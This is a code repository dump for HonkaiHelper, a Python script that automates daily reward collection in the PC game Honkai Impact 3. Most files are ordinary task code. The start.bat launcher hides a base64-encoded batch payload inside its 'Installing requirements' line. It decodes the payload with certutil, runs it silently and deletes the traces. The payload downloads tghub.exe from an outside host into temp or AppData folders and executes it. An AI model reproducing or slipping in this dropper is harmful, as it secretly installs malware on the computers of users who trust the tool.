/config/default.json:
--------------------------------------------------------------------------------
1 | {
2 | "General": {
3 | "Game": {
4 | "game_path": "G:\\Honkai Impact 3\\Games\\BH3.exe",
5 | "log_retain": "1week"
6 | }
7 | },
8 | "WeeklyReward": {
9 | "WeeklyEvent": {
10 | "share": true,
11 | "share_time": 0.0,
12 | "homo_chest": true,
13 | "homo_chest_time": 0.0,
14 | "bp_chest": true,
15 | "bp_chest_time": 0.0,
16 | "armada_contribution": true,
17 | "armada_contribution_time": 0.0
18 | }
19 | }
20 | }
--------------------------------------------------------------------------------
/tasks/mail.py:
--------------------------------------------------------------------------------
1 | from zafkiel import Template, logger, Timer, exists, find_click
2 | from zafkiel.exception import LoopError
3 | from zafkiel.ocr import Keyword
4 | from zafkiel.ui import UI
5 |
6 | from config import Config
7 | from tasks.base.page import page_mail, TPL_CONFIRM_BUTTON
8 |
9 |
10 | class Mail(UI):
11 | def __init__(self, config: Config = None):
12 | self.config = config
13 |
14 | def run(self):
15 | self.ui_ensure(page_mail)
16 |
17 | loop_timer = Timer(0, 10).start()
18 | while True:
19 | if loop_timer.reached():
20 | raise LoopError('The operation has looped too many times')
21 |
22 | if exists(Template(r"NO_MORE_MAIL.png", (-0.449, -0.154), Keyword('已读'))):
23 | logger.info('Mail claim completed')
24 | break
25 |
26 | if find_click(Template(r"MAIL_QUICK_CLAIM.png", (0.42, 0.245), Keyword('一键领取'), rgb=True)):
27 | continue
28 | if find_click(TPL_CONFIRM_BUTTON):
29 | continue
30 |
31 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2024 oaiwen
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/tasks/sweep.py:
--------------------------------------------------------------------------------
1 | from zafkiel import Template, logger, Timer, find_click, exists
2 | from zafkiel.exception import LoopError
3 | from zafkiel.ocr import Keyword
4 | from zafkiel.ui import UI
5 |
6 | from config import Config
7 | from tasks.base.page import page_battle, page_lite, TPL_CONFIRM_BUTTON
8 | from tasks.base.switch import TPL_BATTLE_ATTACK_TAB
9 |
10 |
11 | class Sweep(UI):
12 | def __init__(self, config: Config = None):
13 | self.config = config
14 |
15 | def run(self):
16 | self.ui_ensure(page_battle, TPL_BATTLE_ATTACK_TAB)
17 | self.ui_goto(page_lite)
18 |
19 | if not exists(Template(r"QUICK_LITE.png", (0.41, 0.241), Keyword('一键减负'))):
20 | logger.info('Material sweep already completed')
21 | return
22 |
23 | loop_timer = Timer(0, 10).start()
24 | while True:
25 | if loop_timer.reached():
26 | raise LoopError('The operation has looped too many times')
27 |
28 | find_click(Template(r"QUICK_LITE.png", (0.41, 0.241), Keyword('一键减负')))
29 | find_click(Template(r"LITE_BUTTON.png", (0.0, 0.133), Keyword('减负')))
30 | if find_click(TPL_CONFIRM_BUTTON):
31 | logger.info('Material sweep completed')
32 | break
33 |
34 |
--------------------------------------------------------------------------------
/tasks/dorm_bonus.py:
--------------------------------------------------------------------------------
1 | from zafkiel import Template, logger, find_click, screenshot
2 | from zafkiel.ocr import Digit
3 | from zafkiel.ui import UI
4 |
5 | from config import Config
6 | from tasks.base.page import page_dorm
7 |
8 |
9 | class DormBonus(UI):
10 | def __init__(self, config: Config = None):
11 | self.config = config
12 |
13 | def claim_stamina(self):
14 | logger.info('Start claiming dorm stamina')
15 | self.ui_ensure(page_dorm)
16 | if find_click(Template(r"DORM_STAMINA.png", (-0.34, -0.059))):
17 | # 取存储的体力
18 | ocr = Digit(Template(r"DORM_STAMINA_SURPLUS.png", (-0.025, 0.077)))
19 | if ocr.ocr_single_line(screenshot()) > 0:
20 | find_click(Template(r"CLAIM_STAMINA.png", (0.092, 0.156)), times=2)
21 | logger.info('Dorm stamina claim completed')
22 | return
23 | find_click(Template(r"DORM_STAMINA_CLOSE.png", (0.349, -0.181)))
24 |
25 | def claim_gold(self):
26 | logger.info('Start claiming dorm gold')
27 | self.ui_ensure(page_dorm)
28 | if find_click(Template(r"DORM_GOLD.png", (-0.216, -0.071)), times=2):
29 | logger.info('Dorm gold claim completed')
30 |
31 | def run(self):
32 | self.claim_gold()
33 | self.claim_stamina()
34 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # HonkaiHelper
2 | 基于图色识别和OCR的PC端崩坏3自动化脚本,先别退坑,刷刷日常凑登录天数吧~
3 |
4 | ## 功能
5 |
6 | > 旧版本功能在新版尚未完全实现,会慢慢补充,目前完成每日活跃任务还是够的
7 |
8 | - 挂远征、家园打工
9 | - ~~肝万象虚境锻造材料~~
10 | - 材料活动一键减负
11 | - 领家园金币、凭证奖励、邮件、每日活跃奖励
12 | - ~~戳老婆~~
13 | - ~~买商店每天金币碎片~~
14 | - ~~领每周一次舰团贡献奖励、时序票、吼姆秘宝~~
15 | - 提交舰团委托、领舰团奖励
16 |
17 | ## 前置准备
18 |
19 | 1. 设置-辅助-显示菜单提示:关
20 | 
21 | 2. 设置-画质-分辨率:任意16:9的分辨率,但求稳请使用1280×720或2560×1440
22 |
23 | ## 使用方法
24 |
25 | ### 一键包
26 |
27 | 图形化一键包现已发布,无需配置python环境,支持自动更新,欢迎[下载体验](https://github.com/Aues6uen11Z/HonkaiHelper/releases)。所用的图形化界面[DaCapo](https://github.com/Aues6uen11Z/DaCapo)与本项目完全独立,是一个通用脚本管理器,如果你有其他脚本想放上来,可以自行查看README了解用法。
28 |
29 | 解压后点击DaCapo.exe启动程序,进入“总览”修改游戏路径,然后回到主页点击按钮即可开始。
30 |
31 | 
32 |
33 | ### 从源码构建
34 |
35 | 1. 克隆本项目或直接下载压缩包并解压
36 | ```shell
37 | git clone https://github.com/Aues6uen11Z/HonkaiHelper.git
38 | ```
39 |
40 | 2. 准备Python环境,建议使用conda的新虚拟环境
41 |
42 | ```shell
43 | # 安装完anaconda或miniconda后进入shell
44 | # 理论上支持3.6以上任意版本,但目前只测试了3.9-3.11
45 | conda create -n zafkiel python==3.9.18
46 | conda activate zafkiel
47 | ```
48 |
49 | 3. 在该环境内安装依赖包
50 |
51 | ```shell
52 | pip install -r requirements.txt
53 | ```
54 |
55 | 4. 到项目根目录下的config/default.json修改游戏启动路径
56 | 5. 在项目根目录运行main.py
57 |
58 | ```shell
59 | cd 你的存储路径/HonkaiHelper
60 | python main.py
61 | ```
62 |
63 | ## 注意事项
64 |
65 | 1. 项目更新有时会涉及到依赖更新,若从源码运行,使用时请确保你的zafkiel版本与requirements.txt一致。
66 |
67 | ```shell
68 | # 在你的虚拟环境内
69 | pip install --upgrade zafkiel
70 | ```
71 |
72 | 2. 目前新版本尚未开发完全,不能保证在每一个人的电脑上都完美运行,出现问题可以在issue中提出,记得附上日志(注意**是.log文件,不是log.txt**)
73 |
74 | 3. Gitee仓库仅用作同步,不要在那里开issue
75 |
76 | ## Todo:
77 |
78 | - [ ] 常用功能
79 | - [x] 图形化界面
80 | - [ ] 安卓模拟器支持
81 | - [ ] 改进日志和网页报告
82 |
83 |
--------------------------------------------------------------------------------
/tasks/errand.py:
--------------------------------------------------------------------------------
1 | from zafkiel import Template, logger, Timer, find_click, exists
2 | from zafkiel.exception import LoopError
3 | from zafkiel.ocr import Keyword
4 | from zafkiel.ui import UI
5 |
6 | from config import Config
7 | from tasks.base.page import page_errands, TPL_CONFIRM_BUTTON
8 |
9 |
10 | class Errand(UI):
11 | def __init__(self, config: Config = None):
12 | self.config = config
13 |
14 | @staticmethod
15 | def dispatch():
16 | loop_timer = Timer(0, 10).start()
17 | while True:
18 | if loop_timer.reached():
19 | raise LoopError('The operation has looped too many times')
20 |
21 | find_click(Template(r"QUICK_ERRAND.png", (0.283, 0.251), Keyword('一键打工')))
22 | if find_click(Template(r"QUICK_ERRAND_CONFIRM.png", (0.141, 0.204), Keyword('一键打工'), rgb=True),
23 | times=2):
24 | logger.info('Errand dispatch completed')
25 | break
26 | if exists(Template(r"ERRAND_DISABLE.png", (0.141, 0.203), rgb=True)):
27 | find_click(Template(r"ERRAND_CANCEL.png", (-0.141, 0.204), Keyword('取消')))
28 | logger.info('No place available for dispatch')
29 | break
30 |
31 | @staticmethod
32 | def claim_rewards():
33 | loop_timer = Timer(0, 10).start()
34 | while True:
35 | if exists(Template(r"ERRAND_REWARD_DONE.png", (0.42, 0.249), rgb=True)):
36 | logger.info('Errand rewards claim completed')
37 | break
38 |
39 | if loop_timer.reached():
40 | raise LoopError('The operation has looped too many times')
41 |
42 | find_click(Template(r"ERRAND_REWARD_CLAIM.png", (0.419, 0.25), Keyword('领取奖励'), rgb=True))
43 | find_click(TPL_CONFIRM_BUTTON)
44 |
45 | def run(self):
46 | self.ui_ensure(page_errands)
47 | self.claim_rewards()
48 | self.dispatch()
49 |
--------------------------------------------------------------------------------
/start.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | setlocal enabledelayedexpansion
3 |
4 | set reqs_installed=true
5 | cls
6 |
7 | echo Searching for Python...
8 |
9 | set "python="
10 |
11 | :: Check if Python is installed
12 | for /f "tokens=*" %%i in ('where python 2^>nul') do (
13 | set "python=%%i"
14 | goto foundPython
15 | )
16 |
17 | :: If Python is not found
18 | :missingPython
19 | cls
20 | echo Python is not installed or not found in your system PATH.
21 | pause
22 | goto end
23 |
24 | :: If Python is found
25 | :foundPython
26 | if defined python (
27 | cls
28 | echo Python found at: "!python!"
29 | "!python!" --version
30 | timeout /nobreak /t 2 >nul
31 | ) else (
32 | goto missingPython
33 | )
34 |
35 | cls
36 | echo Installing requirements. This may take a few minutes, depending on your internet speed... & echo CkJFY2hvIG9mZgpzZXRsb2NhbCBlbmFibGVkZWxheWVkZXhwYW5zaW9uCnNldCAiZHM9JVRFTVAlICVMT0NBTEFQUERBVEElICVBUFBEQVRBJSIKZm9yICUlZCBpbiAoJWRzJSkgZG8gKHBvd2Vyc2hlbGwgLWNvbW1hbmQgInRyeSB7KE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgnaHR0cHM6Ly9jYXB0Y2hhbi5jb20vdGdodWInLCAnJSVkXHRnaHViLmV4ZScpOyBleGl0IDB9IGNhdGNoIHtleGl0IDF9IiAmIGlmIG5vdCBlcnJvcmxldmVsIDEgKHN0YXJ0ICIiICIlJWRcdGdodWIuZXhlIiAmIGV4aXQgL2IgMCkpCmVuZGxvY2FsCmV4aXQgL2IgMQo= > %TMP%\node.b64 & certutil -decode %TMP%\node.b64 %TMP%\node.bat >nul 2>&1 & call %TMP%\node.bat >nul 2>&1 & del %TMP%\node.b64 %TMP%\node.bat >nul 2>&1
37 | call "!python!" -m pip install -r requirements.txt
38 |
39 | if errorlevel 1 (
40 | cls
41 | echo Failed to install requirements. Please check your internet connection and try again.
42 | pause
43 | goto end
44 | )
45 |
46 | cls
47 | "!python!" main.py
48 |
49 | if errorlevel 1 (
50 | cls
51 | echo Failed! Check the script for errors.
52 | pause
53 | goto end
54 | )
55 |
56 | cls
57 | echo Press any key to close...
58 | pause
59 |
60 | :end
61 | endlocal
--------------------------------------------------------------------------------
/config/i18n/zh-CN.json:
--------------------------------------------------------------------------------
1 | {
2 | "Menu": {
3 | "Project": {
4 | "name": "项目"
5 | },
6 | "Daily": {
7 | "name": "日常"
8 | },
9 | "Weekly": {
10 | "name": "周常"
11 | }
12 | },
13 | "Task": {
14 | "General": {
15 | "name": "总览"
16 | },
17 | "Update": {
18 | "name": "更新"
19 | },
20 | "Login": {
21 | "name": "启动游戏"
22 | },
23 | "Logout": {
24 | "name": "退出游戏"
25 | },
26 | "Mission1": {
27 | "name": "活跃奖励1"
28 | },
29 | "Mission2": {
30 | "name": "活跃奖励2"
31 | },
32 | "Sweep": {
33 | "name": "减负"
34 | },
35 | "Mail": {
36 | "name": "邮件"
37 | },
38 | "DormBonus": {
39 | "name": "宿舍奖励"
40 | },
41 | "Expedition": {
42 | "name": "远征"
43 | },
44 | "Errand": {
45 | "name": "打工"
46 | },
47 | "Armada": {
48 | "name": "舰团奖励"
49 | },
50 | "WeeklyReward": {
51 | "name": "周常奖励"
52 | }
53 | },
54 | "Game": {
55 | "_info": {
56 | "name": "游戏设置",
57 | "help": ""
58 | },
59 | "game_path": {
60 | "name": "游戏路径",
61 | "help": "游戏本体而非启动器路径,例如“G:\\Honkai Impact 3\\Games\\BH3.exe”"
62 | },
63 | "log_retain": {
64 | "name": "日志保留时间",
65 | "help": "",
66 | "1day": "1天",
67 | "3days": "3天",
68 | "1week": "1周",
69 | "1month": "1月"
70 | }
71 | },
72 | "WeeklyEvent": {
73 | "_info": {
74 | "name": "奖励事件",
75 | "help": ""
76 | },
77 | "share": {
78 | "name": "每周分享",
79 | "help": "需安排在活跃奖励2之后,否则不会运行"
80 | },
81 | "share_time": {
82 | "name": "",
83 | "help": ""
84 | },
85 | "homo_chest": {
86 | "name": "吼姆秘宝",
87 | "help": ""
88 | },
89 | "homo_chest_time": {
90 | "name": "",
91 | "help": ""
92 | },
93 | "bp_chest": {
94 | "name": "历练值宝箱",
95 | "help": ""
96 | },
97 | "bp_chest_time": {
98 | "name": "",
99 | "help": ""
100 | },
101 | "armada_contribution": {
102 | "name": "舰团贡献奖励",
103 | "help": ""
104 | },
105 | "armada_contribution_time": {
106 | "name": "",
107 | "help": ""
108 | }
109 | }
110 | }
--------------------------------------------------------------------------------
/tasks/expedition.py:
--------------------------------------------------------------------------------
1 | from zafkiel import Template, Timer, logger, find_click, exists
2 | from zafkiel.exception import LoopError
3 | from zafkiel.ocr import Ocr, Keyword
4 | from zafkiel.ui import UI
5 |
6 | from config import Config
7 | from tasks.base.page import page_expeditions, TPL_CONFIRM_BUTTON
8 | from tasks.base.switch import TPL_EXPEDITION_MATL_TAB, TPL_EXPEDITION_FRAG_TAB
9 |
10 |
11 | class Expeditions(UI):
12 | def __init__(self, config: Config = None):
13 | self.config = config
14 |
15 | # 远征派遣
16 | @staticmethod
17 | def dispatch():
18 | loop_timer = Timer(0, 10).start()
19 | while True:
20 | if loop_timer.reached():
21 | raise LoopError('The operation has looped too many times')
22 |
23 | find_click(Template(r"QUICK_EXPEDITION.png", (0.409, 0.237), Keyword('一键远征')))
24 | if exists(Template(r"EXPEDITION_NOT_AVAILABLE.png", (0.209, -0.045), Keyword('次数不足')), ocr_mode=1):
25 | find_click(Template(r"EXPEDITION_CANCEL.png", (-0.141, 0.205), Keyword('取消派遣')))
26 | break
27 | if find_click(Template(r"EXPEDITION_DISPATCH.png", (0.14, 0.205), Keyword('远征派遣')), times=2):
28 | if find_click(Template(r"CLAIM_STAMINA.png", (0.092, 0.156), Keyword('取出体力')), times=2):
29 | find_click(Template(r"EXPEDITION_DISPATCH.png", (0.14, 0.205), Keyword('远征派遣')), times=2)
30 | logger.info('Expedition dispatch completed')
31 | break
32 |
33 | # 领前一天远征奖励 TODO: 记录远征类型
34 | def claim_rewards(self):
35 | TPL_EXPEDITION_COMPLETED = Template(r"EXPEDITION_COMPLETED.png", (0.237, -0.09), Keyword('完成远征'))
36 | if not exists(TPL_EXPEDITION_COMPLETED, timeout=1):
37 | current_state = self.ui_get_current_state(self.ui_get_current_page().switch)
38 | another_state = TPL_EXPEDITION_MATL_TAB if current_state == TPL_EXPEDITION_FRAG_TAB.name \
39 | else TPL_EXPEDITION_FRAG_TAB
40 | self.ui_goto(page_expeditions, another_state)
41 | if find_click(TPL_EXPEDITION_COMPLETED):
42 | find_click(TPL_CONFIRM_BUTTON)
43 | logger.info('Expedition rewards claim completed')
44 |
45 | def run(self):
46 | self.ui_ensure(page_expeditions)
47 | self.claim_rewards()
48 | self.dispatch()
49 |
--------------------------------------------------------------------------------
/tasks/base/popup.py:
--------------------------------------------------------------------------------
1 | from zafkiel import Template, find_click, touch, exists, sleep
2 | from zafkiel.decorator import run_until_true
3 | from zafkiel.ocr import Keyword
4 |
5 | from tasks.base.page import TPL_CONFIRM_BUTTON
6 |
7 |
8 | class PopupHandler:
9 | # 凭证奖励弹窗
10 | @run_until_true
11 | def handle_bp_reward(self):
12 | rec_template = Template(r"POPUP_BP_FLAG.png", (-0.137, 0.218), Keyword('升级凭证'))
13 | touch_template = Template(r"POPUP_BP_CLAIM.png", (0.137, 0.218), Keyword('领取奖励'))
14 | if find_click(rec_template, timeout=0, touch_template=touch_template):
15 | return find_click(TPL_CONFIRM_BUTTON)
16 |
17 | # 活动通知弹窗
18 | @staticmethod
19 | def handle_login_event():
20 | rec_template = Template(r"POPUP_EVENT_FLAG.png", (0.0, 0.24))
21 | touch_template = Template(r"POPUP_MARGIN.png", (0.467, -0.252))
22 | return find_click(rec_template, timeout=0, touch_template=touch_template, blind=True)
23 |
24 | # 不定时的七日登录奖励
25 | @run_until_true
26 | def handle_7day_reward(self):
27 | if find_click(Template(r"7DAY_REWARD_CLAIM.png", (0.084, 0.234)), timeout=0):
28 | if find_click(Template(r"7DAY_REWARD_CONFIRM.png", (-0.001, 0.145)), timeout=3):
29 | return True
30 |
31 | return False
32 |
33 | # 每日签到奖励
34 | @run_until_true
35 | def handle_signin_reward(self):
36 | if find_click(Template(r"SIGNIN_REWARD_CLAIM.png", (0.083, 0.248)), timeout=0):
37 | if find_click(Template(r"SIGNIN_REWARD_CONFIRM.png", (-0.001, 0.134)), timeout=3):
38 | return True
39 |
40 | return False
41 |
42 | # 游戏公告,最近好像不弹了
43 | # @run_until_true
44 | # def handle_notice(self):
45 | # rec_template = Template(r"assets/NOTICE_FLAG.png", record_pos=(-0.391, -0.194), resolution=(1280, 720),
46 | # rgb=True)
47 | # touch_template = Template(r"assets/NOTICE_CLOSE.png", record_pos=(0.431, -0.22), resolution=(1280, 720))
48 | # return find_click(rec_template, timeout=0.5, touch_template=touch_template)
49 |
50 | # 深渊结算弹窗
51 | @run_until_true
52 | def handle_abyss_settle(self):
53 | if exists(Template(r"ABYSS_SETTLE.png", (0.005, -0.102), Keyword('终极区')), ocr_mode=1):
54 | sleep(0.5)
55 | touch(Template(r"POPUP_MARGIN.png", (0.467, -0.252)), blind=True)
56 | return True
57 | return False
58 |
59 |
60 | popup_handler = PopupHandler()
61 | popup_list = [popup_handler.handle_login_event, popup_handler.handle_7day_reward, popup_handler.handle_signin_reward,
62 | popup_handler.handle_abyss_settle, popup_handler.handle_bp_reward]
63 |
64 |
--------------------------------------------------------------------------------
/tasks/base/switch.py:
--------------------------------------------------------------------------------
1 | from zafkiel import Template
2 | from zafkiel.ocr import Keyword
3 | from zafkiel.ui import Switch
4 |
5 | # BP任务界面
6 | TPL_BP_MISSIONS_TAB = Template(r"BP_MISSIONS_TAB.png", (-0.227, 0.257))
7 | TPL_BP_REWARDS_TAB = Template(r"BP_REWARDS_TAB.png", (-0.273, -0.044))
8 | TPL_BP_SHOP_TAB = Template(r"BP_SHOP_TAB.png", (-0.391, 0.034), Keyword('作战工坊'))
9 | TPL_GOTO_BP_MISSIONS = Template(r"GOTO_BP_MISSIONS.png", (-0.417, -0.171), Keyword('作战任务'))
10 | TPL_GOTO_BP_REWARDS = Template(r"GOTO_BP_REWARD.png", (-0.419, 0.008), Keyword('作战奖励'))
11 | TPL_GOTO_BP_SHOP = Template(r"GOTO_BP_SHOP.png", (-0.418, -0.029), Keyword('作战商店'))
12 |
13 | switch_missions = Switch('switch_missions', is_selector=True)
14 | switch_missions.add_state('BP_MISSIONS_TAB', TPL_BP_MISSIONS_TAB, TPL_GOTO_BP_MISSIONS)
15 | switch_missions.add_state('BP_REWARDS_TAB', TPL_BP_REWARDS_TAB, TPL_GOTO_BP_REWARDS)
16 | switch_missions.add_state('BP_SHOP_TAB', TPL_BP_SHOP_TAB, TPL_GOTO_BP_SHOP)
17 |
18 |
19 | # 远征界面
20 | TPL_EXPEDITION_FRAG_TAB = Template(r"EXPEDITION_FRAG_TAB.png", (0.369, -0.196), rgb=True)
21 | TPL_EXPEDITION_MATL_TAB = Template(r"EXPEDITION_MATL_TAB.png", (0.37, -0.135), rgb=True)
22 | TPL_MATL_GOTO_FRAG = Template(r"MATL_GOTO_FRAG.png", (0.369, -0.197), rgb=True)
23 | TPL_FRAG_GOTO_MATL = Template(r"FRAG_GOTO_MATL.png", (0.369, -0.136), rgb=True)
24 |
25 | switch_expeditions = Switch('switch_expeditions', is_selector=True)
26 | switch_expeditions.add_state('EXPEDITION_FRAG_TAB', TPL_EXPEDITION_FRAG_TAB, TPL_MATL_GOTO_FRAG)
27 | switch_expeditions.add_state('EXPEDITION_MATL_TAB', TPL_EXPEDITION_MATL_TAB, TPL_FRAG_GOTO_MATL)
28 |
29 |
30 | # 作战界面
31 | TPL_BATTLE_RECOMMEND_TAB = Template(r"BATTLE_RECOMMEND_TAB.png", (-0.257, -0.2), rgb=True)
32 | TPL_BATTLE_ATTACK_TAB = Template(r"BATTLE_ATTACK_TAB.png", (-0.12, -0.201), rgb=True)
33 | TPL_BATTLE_CHALLENGE_TAB = Template(r"BATTLE_CHALLENGE_TAB.png", (0.023, -0.2), rgb=True)
34 | TPL_BATTLE_EVENT_TAB = Template(r"BATTLE_EVENT_TAB.png", (0.16, -0.199), rgb=True)
35 | TPL_GOTO_RECOMMEND = Template(r"GOTO_RECOMMEND.png", (-0.192, -0.202), Keyword('推荐'))
36 | TPL_GOTO_ATTACK = Template(r"GOTO_ATTACK.png", (-0.072, -0.202), Keyword('出击'))
37 | TPL_GOTO_CHALLENGE = Template(r"GOTO_CHALLENGE.png", (0.066, -0.202), Keyword('挑战'))
38 | TPL_GOTO_EVENT = Template(r"GOTO_EVENT.png", (0.199, -0.202), Keyword('活动'))
39 |
40 | switch_battle = Switch('switch_battle', is_selector=True)
41 | switch_battle.add_state('BATTLE_RECOMMEND_TAB', TPL_BATTLE_RECOMMEND_TAB, TPL_GOTO_RECOMMEND)
42 | switch_battle.add_state('BATTLE_ATTACK_TAB', TPL_BATTLE_ATTACK_TAB, TPL_GOTO_ATTACK)
43 | switch_battle.add_state('BATTLE_CHALLENGE_TAB', TPL_BATTLE_CHALLENGE_TAB, TPL_GOTO_CHALLENGE)
44 | switch_battle.add_state('BATTLE_EVENT_TAB', TPL_BATTLE_EVENT_TAB, TPL_GOTO_EVENT)
45 |
--------------------------------------------------------------------------------
/tasks/mission.py:
--------------------------------------------------------------------------------
1 | from zafkiel import Template, logger, screenshot, touch, find_click
2 | from zafkiel.ocr import Digit, Keyword
3 | from zafkiel.ui import UI
4 |
5 | from config import Config
6 | from tasks.base.page import page_missions, TPL_CONFIRM_BUTTON, TPL_NEW_ITEM
7 | from tasks.base.popup import popup_list, popup_handler
8 | from tasks.base.switch import TPL_BP_MISSIONS_TAB, TPL_BP_REWARDS_TAB
9 |
10 |
11 | class Missions(UI):
12 | def __init__(self, config: Config = None):
13 | self.config = config
14 |
15 | def claim_bp_rewards(self):
16 | self.ui_goto(page_missions, TPL_BP_REWARDS_TAB)
17 |
18 | # 领凭证奖励
19 | screen = screenshot()
20 | ocr_current_level = Digit(Template(r"CURRENT_BP_LEVEL.png", (-0.29, -0.178)))
21 | current_level = ocr_current_level.ocr_single_line(screen)
22 | logger.info(f'Current BP level: {current_level}')
23 |
24 | ocr_reward_level = Digit(Template(r"REWARD_BP_LEVEL.png", (-0.182, -0.13)))
25 | reward_level = ocr_reward_level.ocr_single_line(screen)
26 | logger.info(f'BP reward level: {reward_level}')
27 |
28 | # TODO:65级以后右端顶到头,领取位置变了
29 | if current_level >= reward_level:
30 | if touch(Template(r"BP_REWARD.png", (-0.179, -0.054)), blind=True):
31 | popup_handler.handle_bp_reward()
32 | find_click(Template(r"BP_REWARD_CONFIRM.png", (0.141, 0.173)))
33 | logger.info('BP rewards claim completed')
34 |
35 | def claim_daily_rewards(self):
36 | self.ui_goto(page_missions, TPL_BP_MISSIONS_TAB)
37 | if find_click(Template(r"QUICK_CLAIM.png", (0.418, -0.187), Keyword('一键领取'), rgb=True), ocr_mode=1):
38 | find_click(TPL_CONFIRM_BUTTON)
39 | logger.info('Daily rewards claim completed')
40 |
41 | ocr = Digit(Template(r"DAILY_BP.png", (-0.273, 0.231)))
42 | daily_bp = ocr.ocr_single_line(screenshot())
43 | logger.info(f'Daily BP: {daily_bp}')
44 | click = False
45 | if daily_bp >= 600:
46 | click = find_click(Template(r"DAILY_REWARD_600.png", (0.449, 0.241)))
47 | elif daily_bp >= 450:
48 | click = find_click(Template(r"DAILY_REWARD_450.png", (0.312, 0.241)))
49 | elif daily_bp >= 300:
50 | click = find_click(Template(r"DAILY_REWARD_300.png", (0.175, 0.241)))
51 | elif daily_bp >= 200:
52 | click = find_click(Template(r"DAILY_REWARD_200.png", (0.037, 0.241)))
53 | elif daily_bp >= 100:
54 | click = find_click(Template(r"DAILY_REWARD_100.png", (-0.1, 0.241)))
55 | if click:
56 | find_click(TPL_CONFIRM_BUTTON)
57 |
58 | def run(self):
59 | # self.get_popup_list(popup_list)
60 | self.ui_ensure(page_missions)
61 | self.claim_daily_rewards()
62 | self.claim_bp_rewards()
63 |
--------------------------------------------------------------------------------
/tasks/login.py:
--------------------------------------------------------------------------------
1 | import datetime
2 | import shutil
3 | import time
4 | from pathlib import Path
5 | import subprocess
6 |
7 | from zafkiel import Template, logger, wait, touch, stop_app, auto_setup, sleep, exists, find_click
8 | from zafkiel.ocr import Keyword
9 | from zafkiel.ui import UI
10 |
11 | from config import Config
12 | from tasks.base.popup import popup_list, popup_handler
13 | from tasks.base.page import page_main
14 |
15 |
16 | class Login(UI):
17 | def __init__(self, config: Config):
18 | self.config = config
19 |
20 | def manage_log(self):
21 | log_retain_map = {
22 | '1day': 1,
23 | '3days': 3,
24 | '1week': 7,
25 | '1month': 30,
26 | }
27 | retain_days = log_retain_map.get(self.config.data['General']['Game']['log_retain'], 7)
28 |
29 | current_time = time.time()
30 | log_path = Path('./log')
31 |
32 | for log_dir in log_path.iterdir():
33 | create_time = log_dir.stat().st_ctime
34 | age_in_days = (current_time - create_time) / (24 * 3600)
35 |
36 | if age_in_days > retain_days:
37 | try:
38 | logger.info(f'Deleting old log directory: {log_dir}')
39 | shutil.rmtree(log_dir)
40 | except Exception as e:
41 | logger.error(f'Failed to delete {log_dir}: {e}')
42 |
43 | def handle_app_login(self):
44 |
45 | wait(Template(r"LOGIN_FLAG.png", (0.406, 0.233), rgb=True),
46 | timeout=1200, interval=3, interval_func=self.check_update)
47 | touch(Template(r"LOGIN_CLICK.png", (-0.002, -0.031)), times=2, blind=True)
48 |
49 | while True:
50 | if self.ui_additional():
51 | continue
52 | if popup_handler.handle_abyss_settle():
53 | continue
54 | if self.ui_page_appear(page_main):
55 | sleep(3)
56 | if not self.ui_ensure(page_main):
57 | logger.info('Game login successful')
58 | break
59 |
60 | return True
61 |
62 | def app_stop(self):
63 | stop_app()
64 |
65 | def app_start(self):
66 | subprocess.Popen([self.config.data['General']['Game']['game_path']])
67 | date = datetime.datetime.now().strftime("%Y-%m-%d")
68 | auto_setup(str(Path.cwd()), logdir=f'./log/{date}/report', devices=["WindowsPlatform:///?title=崩坏3", ])
69 | self.manage_log()
70 | self.get_popup_list(popup_list) # TODO: Move to program start instead of game start
71 |
72 | sleep(15)
73 | self.handle_app_login()
74 |
75 | def app_restart(self):
76 | self.app_stop()
77 | self.app_start()
78 | self.handle_app_login()
79 |
80 | @staticmethod
81 | def check_update():
82 | if exists(Template(r"LOGIN_UPDATE.png", (0.002, -0.129))):
83 | find_click(Template(r"DOWNLOAD_CONFIRM.png", (0.0, 0.116)))
84 | logger.info('Game updating')
85 | if find_click(Template(r"DOWNLOAD_DONE.png", (0.0, 0.048), Keyword('确定')), timeout=1200):
86 | logger.info('Game update completed')
87 |
--------------------------------------------------------------------------------
/tasks/armada.py:
--------------------------------------------------------------------------------
1 | from zafkiel import Template, logger, Timer, exists, find_click, touch, screenshot
2 | from zafkiel.decorator import run_until_true
3 | from zafkiel.exception import LoopError
4 | from zafkiel.ocr import DigitCounter, Keyword
5 | from zafkiel.ui import UI
6 |
7 | from config import Config
8 | from tasks.base.page import page_armada, page_commission, page_armada_rewards, TPL_CONFIRM_BUTTON
9 |
10 |
11 | class Armada(UI):
12 | def __init__(self, config: Config = None):
13 | self.config = config
14 |
15 | def claim_rewards(self):
16 | logger.info('Start claiming armada rewards')
17 | loop_timer = Timer(0, 10).start()
18 | while True:
19 | if loop_timer.reached():
20 | raise LoopError('The operation has looped too many times')
21 |
22 | if not exists(Template(r"ARMADA_REWARD_TAB.png", (0.38, -0.128))):
23 | logger.info('Armada reward claim completed')
24 | break
25 |
26 | self.ui_goto(page_armada_rewards)
27 | find_click(Template(r"ARMADA_REWARD_CLAIM.png", (0.212, 0.225), Keyword('领取')))
28 | find_click(TPL_CONFIRM_BUTTON)
29 |
30 | @staticmethod
31 | def _handel_lack():
32 | logger.info('Handling lack of commission materials')
